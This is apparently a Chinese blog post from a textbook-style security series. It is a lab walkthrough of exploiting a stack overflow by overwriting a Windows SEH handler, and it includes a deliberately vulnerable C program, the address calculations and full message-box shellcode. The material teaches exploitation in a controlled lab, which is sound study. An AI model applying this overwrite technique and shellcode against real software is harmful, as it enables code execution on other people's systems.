5.6 在栈溢出中利用S.E.H

最新推荐文章于 2023-05-24 09:18:33 发布

PT_silver

最新推荐文章于 2023-05-24 09:18:33 发布

阅读量616

点赞数

分类专栏： 0day安全文章标签：安全

本文链接：https://blog.csdn.net/qq_55202378/article/details/127177757

版权

0day安全专栏收录该内容

34 篇文章 11 订阅

订阅专栏

一、S.E.H概述

异常处理机制：给程序一次补救机会，不至于系统遇到错误就崩溃。

S.E.H即异常处理结构体（structure exception handler），每个S.E.H包含两个DWORD指针：S.E.H链表指针和异常处理函数句柄，共8字节。

对于S.E.H，还需要知道以下几点：

S.E.H结构体存放在系统栈中；
当线程初始化时，会自动向栈中安装一个S.E.H，作为线程默认的异常处理；
如果程序源代码中使用了_try{}..except{}或者Assert宏等异常处理机制，编译器将最终通过向当前函数栈帧中安装一个S.E.H来实现异常处理；
栈中一般会同时存在多个S.E.H；
栈中的多个S.E.H通过链表指针在栈内由栈顶向栈底串成单向链表，位于链表最顶端的S.E.H通过T.E.B（线程环境块）0字节偏移处的指针标识；
当异常发生时，操作系统会中断程序，并首先从TEB的0字节1偏移处取出距离栈顶最近的S.E.H，使用异常处理函数句柄所指向的代码来处理异常；
当离“事故现场”最近的异常处理函数运行失败，将顺着S.E.H链表依次尝试其他的异常处理函数；
如果程序安装的所有异常处理函数均不能处理，系统会采用默认的异常处理函数。通常，这个函数会弹出一个错误对话框，然后强制关闭程序。

如图所示S.E.H链表。

从程序设计的角度来看，S.E.H就是在系统关闭程序之前，给程序一个执行预先设定的回调函数（call bak）的机会。利用Windows异常处理机制地基本思路：

S.E.H存放在栈中，故缓冲区溢出的数据可能淹没S.E.H；
精心制作的溢出数据可以把S.E.H中异常处理函数的入口地址改为shellcode的起始地址；
溢出后错误的栈帧或堆块数据往往会触发异常；
当windows开始处理溢出后的异常时，会错误地把shellcode当作异常处理函数而执行；

二、实验环境

操作系统：Windows 2000 professional

软件版本：原版OD（实时调试）、VC++6.0（release）

三、实验代码

#include <windows.h>
#include <stdio.h>

/*char shellcode[]=
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90";*/


char shellcode[]=
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x98\xFE\x12\x00";

DWORD MyExceptionhandle(void){
	printf("got an exception, press Enter to kill process!\n");
	getchar();
	ExitProcess(1);
	return 0;
}

void test(char * input){
	char buf[200];
	int zero=0;
	//__asm int 3
	__try{
		strcpy(buf,input);
		zero=4/zero;
	}
	__except(MyExceptionhandle()){}
}

void main(){
	test(shellcode);
}

对代码简单分析：

（1）函数 test 中存在典型的栈溢出漏洞。

（2）__try{}会在 test 的函数栈帧中安装一个 S.E.H 结构。

（3）__try 中的除零操作会产生一个异常。

（4）当 strcpy 操作没有产生溢出时，除零操作的异常将最终被 MyExceptionhandler 函数处理。

（5）当 strcpy 操作产生溢出，并精确地将栈帧中的 S.E.H 异常处理句柄修改为 shellcode 的入口地址时，操作系统将会错误地使用 shellcode 去处理除零异常，也就是说，代码植入成功。

四、实验步骤

1、确定shellcode的起始位置

调试的代码：

#include <windows.h>
#include <stdio.h>

char shellcode[]=
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90";


DWORD MyExceptionhandle(void){
	printf("got an exception, press Enter to kill process!\n");
	getchar();
	ExitProcess(1);
	return 0;
}

void test(char * input){
	char buf[200];
	int zero=0;
	__asm int 3
	__try{
		strcpy(buf,input);
		zero=4/zero;
	}
	__except(MyExceptionhandle()){}
}

void main(){
	test(shellcode);
}

编译代码，进入OD：

运行完复制操作：

在栈中，可以发现shellcode的其实位置为0x12FE98;

2、查找第一个S.E.H

查找S.E.H链：

回到OD栈窗口，也可以看到：

可见第一个S.E.H在栈中的位置为0x12FF68，考虑到S.E.H的结构，我们应该把shellcode覆盖到0x12FF6C处（0x12FF6C处存的才是异常处理函数的地址），0x0x12FE98到0x12FF6C中的间隔为212字节。

仍然用弹框“failwest”作为shellcode代码。

3、弹框

调试代码：

#include <windows.h>
#include <stdio.h>


char shellcode[]=
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x98\xFE\x12\x00";

DWORD MyExceptionhandle(void){
	printf("got an exception, press Enter to kill process!\n");
	getchar();
	ExitProcess(1);
	return 0;
}

void test(char * input){
	char buf[200];
	int zero=0;
	//__asm int 3
	__try{
		strcpy(buf,input);
		zero=4/zero;
	}
	__except(MyExceptionhandle()){}
}

void main(){
	test(shellcode);
}

结果：